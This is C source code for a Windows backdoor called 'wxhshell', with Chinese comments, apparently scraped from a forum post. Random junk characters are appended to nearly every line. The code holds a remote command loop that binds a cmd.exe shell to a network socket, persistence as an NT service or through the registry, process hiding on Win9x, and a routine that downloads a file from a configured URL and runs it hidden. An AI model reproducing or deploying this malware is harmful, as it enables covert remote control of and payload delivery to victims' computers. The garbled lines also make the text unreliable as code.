  // 帮助 / 3!fA=+  
  case '?': { tyh@ ^7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %eg+F  
    break; H,QTYXi "  
  } d\]Yk]r  
  // 安装 ;Hmp f0$  
  case 'i': { L\%orLEmK  
    if(Install()) 0hY{<^"Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,ho3  
    else ~q+hV+fa>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +s++7<C  
    break; S >yLqPp  
    } [sF(#Y:I  
  // 卸载 G2Vv i[c  
  case 'r': { P 43P]M2  
    if(Uninstall()) 0[Ht_qxb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rx0~`cVV:  
    else 424(3-/v;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /,@p\Ae5  
    break; z^<L(/rg9"  
    } bN$r k|  
  // 显示 wxhshell 所在路径 \$sjrqKnu  
  case 'p': { +Q$h ]^>~  
    char svExeFile[MAX_PATH]; Wp)*Mbq@  
    strcpy(svExeFile,"\n\r"); Lfog {Vzs  
      strcat(svExeFile,ExeFile); T4)fOu3]  
        send(wsh,svExeFile,strlen(svExeFile),0); nUS| sh  
    break; !3X0FNGq  
    } y5r4+2B  
  // 重启 T 20&F  
  case 'b': {  -I.d}[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t.p~\6Yi  
    if(Boot(REBOOT)) 5 Xn.CBd]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lVOu)q@l7g  
    else { @$9'@")  
    closesocket(wsh); F$BbYf2i  
    ExitThread(0); V#REjsf,t-  
    } >-8cU_m7s  
    break; 6;'dUGvH  
    } d?wc*N3  
  // 关机 M(x$xAiD  
  case 'd': { b~=0[Rv  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); t>=fTkB  
    if(Boot(SHUTDOWN)) 1u3, '8F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rk!X]-`=  
    else { WOzf]3Xcj  
    closesocket(wsh); 5GA C`}}  
    ExitThread(0); ,R%q}IH#  
    }  ]^'@ [<  
    break; [e[<p\]  
    } ?POUtRN  
  // 获取shell $odso;Hn  
  case 's': { LUB${0BrA  
    CmdShell(wsh); Guz"wY  
    closesocket(wsh); KlRr8 G!Z  
    ExitThread(0); h/?l4iR*  
    break; ;X*cCb`h   
  } ) e5 @  
  // 退出 wLK07e(  
  case 'x': { (e(:P~Ry  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <-D/O$q  
    CloseIt(wsh); ^8.]d~j  
    break; 8J$|NYv_b  
    } 9mA{K    
  // 离开 [8tL"G6s  
  case 'q': { ^[:p|U2mA  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1-lu\"H`  
    closesocket(wsh); nRyU]=-X  
    WSACleanup(); i&{DOI%w  
    exit(1); k0Ol*L!p  
    break; 2hzsKkrA {  
        } sMu] /'7  
  } ]a5 f2lE  
  } '%q$` KDb  
(L^]Lk x)  
  // 提示信息 a~'a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (=7Cs  
} 9$2/MT't  
  } 0lhVqy}:}o  
R(q~ -3~  
  return; &=VDASEu  
} +$g}4  
%CK^Si%+  
// shell模块句柄 ^fZ&QK  
int CmdShell(SOCKET sock) s"t$0cH9  
{ >=[(^l  
STARTUPINFO si;  }Y;K~J  
ZeroMemory(&si,sizeof(si)); '7XIhN9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z`:lcF{V  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (J z1vEEV  
PROCESS_INFORMATION ProcessInfo; |JQQU! x  
char cmdline[]="cmd"; 293M\5:  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o!)3?  
  return 0; Q%xC}||1s"  
} C=eF.FB;'  
?Y@N`S  
// 自身启动模式 z CvKDlL  
int StartFromService(void) N;\'N ne  
{ AvfNwE  
typedef struct y&V@^ "`  
{ zAiXo__x  
  DWORD ExitStatus; rx]  @A  
  DWORD PebBaseAddress; G K7![p  
  DWORD AffinityMask; ? #fu.YE\  
  DWORD BasePriority; E{|W(z,  
  ULONG UniqueProcessId; R6]Gk)5  
  ULONG InheritedFromUniqueProcessId; "1%5,  
}   PROCESS_BASIC_INFORMATION; EM[WK+9>I{  
DQ r Y*nH  
PROCNTQSIP NtQueryInformationProcess; \--8lH -K  
3.*8)NW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ))"6ern  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;C2K~8,  
U|IzXQX(  
  HANDLE             hProcess; !O<)\ )|g  
  PROCESS_BASIC_INFORMATION pbi; "g1)f"pL  
T\D}kQM  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ,^2>k3=  
  if(NULL == hInst ) return 0; "thdPZ  
Fvbh\m ~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4rLL[??  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]@phF _  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S[J}UpV  
_no*k?o *  
  if (!NtQueryInformationProcess) return 0; ?vbvBu{a  
?!` /m|"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0@%v1Oja  
  if(!hProcess) return 0; *2,VyY  
eS~LF.^Jw  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -w"VK|SGm  
5fd]v<  
  CloseHandle(hProcess); ~5}* d  
5:KQg  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Zg{KFM%  
if(hProcess==NULL) return 0; ppVHLrUh  
@X#F3;  
HMODULE hMod; }f6HYU  
char procName[255]; oYH^_V  
unsigned long cbNeeded; R8a3 1&  
.nx2";oi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ` 2V19 s]  
%5"9</a&G  
  CloseHandle(hProcess); G$F<$  
Wa{`VS  
if(strstr(procName,"services")) return 1; // 以服务启动 [q8 P~l  
)QU  
  return 0; // 注册表启动 ! t?iXZ  
} :% ,:"  
Ezd_`_@R  
// 主模块 J;8IY=  
int StartWxhshell(LPSTR lpCmdLine) %z,m B$LY  
{ ).`1+b  
  SOCKET wsl; 3cK I  
BOOL val=TRUE; n'E(y)9|  
  int port=0; ?kbiMs1;u  
  struct sockaddr_in door; /rnu<Q#iH  
{Tq_7,8  
  if(wscfg.ws_autoins) Install(); YUtC.TR1  
C26>BU<  
port=atoi(lpCmdLine); K;?m';z0  
Ku5\]  
if(port<=0) port=wscfg.ws_port; TJ6*t!'*X  
i@"@9n~  
  WSADATA data; <7/R,\Wg~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; FQ<Ju.  
(MxQ+D\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qNB<T('  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "n(hfz0y%  
  door.sin_family = AF_INET; _E@2ZnD2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6xTuNE1  
  door.sin_port = htons(port); 9PXFRxGA  
n|Q@UPb/=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `{3<{wgw  
closesocket(wsl); I9_RlAd  
return 1; 4'/nax$Bx;  
} ~ =M7 3U#  
v_+{'F  
  if(listen(wsl,2) == INVALID_SOCKET) { C~,a!qY  
closesocket(wsl); n8~N$tDU  
return 1; [1g8*j~L  
} .sha&  
  Wxhshell(wsl); s~ a"4~f  
  WSACleanup(); LDgrR[  
#+ 0M2Sa  
return 0; h7G"G"  
#A1%gIw<v2  
} e$<0 7Oc  
j4gF;-m<  
// 以NT服务方式启动 JVvs-bK5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DE}K~}sbd  
{ I&#| w"/"U  
DWORD   status = 0; 7zXvnxYE  
  DWORD   specificError = 0xfffffff; o4G?nvK-  
2V mNZ{<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; V,lOt4b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [+2[`K c]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !JHL\M>A5  
  serviceStatus.dwWin32ExitCode     = 0; 44ek IV+?  
  serviceStatus.dwServiceSpecificExitCode = 0; _<n~n]%  
  serviceStatus.dwCheckPoint       = 0; ] {RDVA=]  
  serviceStatus.dwWaitHint       = 0; ysQ_[ ]/  
!#], hok8X  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s Ep"D+f  
  if (hServiceStatusHandle==0) return; u_w#gjiC  
l+xX/A)  
status = GetLastError(); "h{q#~s  
  if (status!=NO_ERROR) 7OcW C-<  
{ Ec3}_`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,k +IPkN+  
    serviceStatus.dwCheckPoint       = 0; x|/|jzJSX  
    serviceStatus.dwWaitHint       = 0; pA'4|ffwe  
    serviceStatus.dwWin32ExitCode     = status; sXLq*b?  
    serviceStatus.dwServiceSpecificExitCode = specificError; bn|I> e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b6 cBg  
    return; 6KXtcXQ  
  } MK%9:wZ  
 U f:`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >{q]&}^U  
  serviceStatus.dwCheckPoint       = 0; J{.{f  
  serviceStatus.dwWaitHint       = 0; l5S aT,%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0IsPIi"7  
} v [wb~uw\  
F|S Xn\  
// 处理NT服务事件,比如:启动、停止 z Xg3[orF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]J1dtN=  
{ du<tGsy  
switch(fdwControl) FvaUsOy "  
{ JrJo|0Q  
case SERVICE_CONTROL_STOP: `l\7+0W  
  serviceStatus.dwWin32ExitCode = 0; <wk!hTm W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C8J[Up  
  serviceStatus.dwCheckPoint   = 0; iw3FA4{(  
  serviceStatus.dwWaitHint     = 0; ef 8s<5"4  
  { {BP{C=p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OV1_|##LC  
  } w#ZoZZ wh  
  return; ;"a=gr  
case SERVICE_CONTROL_PAUSE: +^` I?1\UF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +5w))9@  
  break; -WY<zJ  
case SERVICE_CONTROL_CONTINUE: :vmH]{R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d6Ht2  
  break; vDp8__^  
case SERVICE_CONTROL_INTERROGATE: 2":pE U{E  
  break; J9\Cm!H  
}; R|6Cv3:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] ]u s %  
} !44/sr'  
j b!x:  
// 标准应用程序主函数  |tKsgj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 57'*w]4f  
{ (o 5s"b  
.eS<Dbku<  
// 获取操作系统版本 [zH:1Zhl&  
OsIsNt=GetOsVer(); B al`y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); h){0rX@:&  
+>8'mf  
  // 从命令行安装 8+~ >E  
  if(strpbrk(lpCmdLine,"iI")) Install(); qSM|hHDo)  
5Y.)("1f}f  
  // 下载执行文件 kDEXN  
if(wscfg.ws_downexe) { TEP,Dq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S4Pxc ]!  
  WinExec(wscfg.ws_filenam,SW_HIDE); wx]0p  
} g&^quZ"H  
O\ GEay2  
if(!OsIsNt) { =Z{O<xw'  
// 如果时win9x,隐藏进程并且设置为注册表启动 Wvq27YK'  
HideProc(); )Oq|amvC  
StartWxhshell(lpCmdLine); t=BUN  
} /}((l%UE.  
else s,"]aew  
  if(StartFromService()) Q1T$k$n  
  // 以服务方式启动 1NbG>E#Ol  
  StartServiceCtrlDispatcher(DispatchTable); vt/x ,Y  
else 5us:adm[pD  
  // 普通方式启动 j:Xq1f6a  
  StartWxhshell(lpCmdLine); EH- sZAv  
[ZNtCnv  
return 0; %h hfU6[  
}
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只看该作者 1 发表于: 2006-10-10
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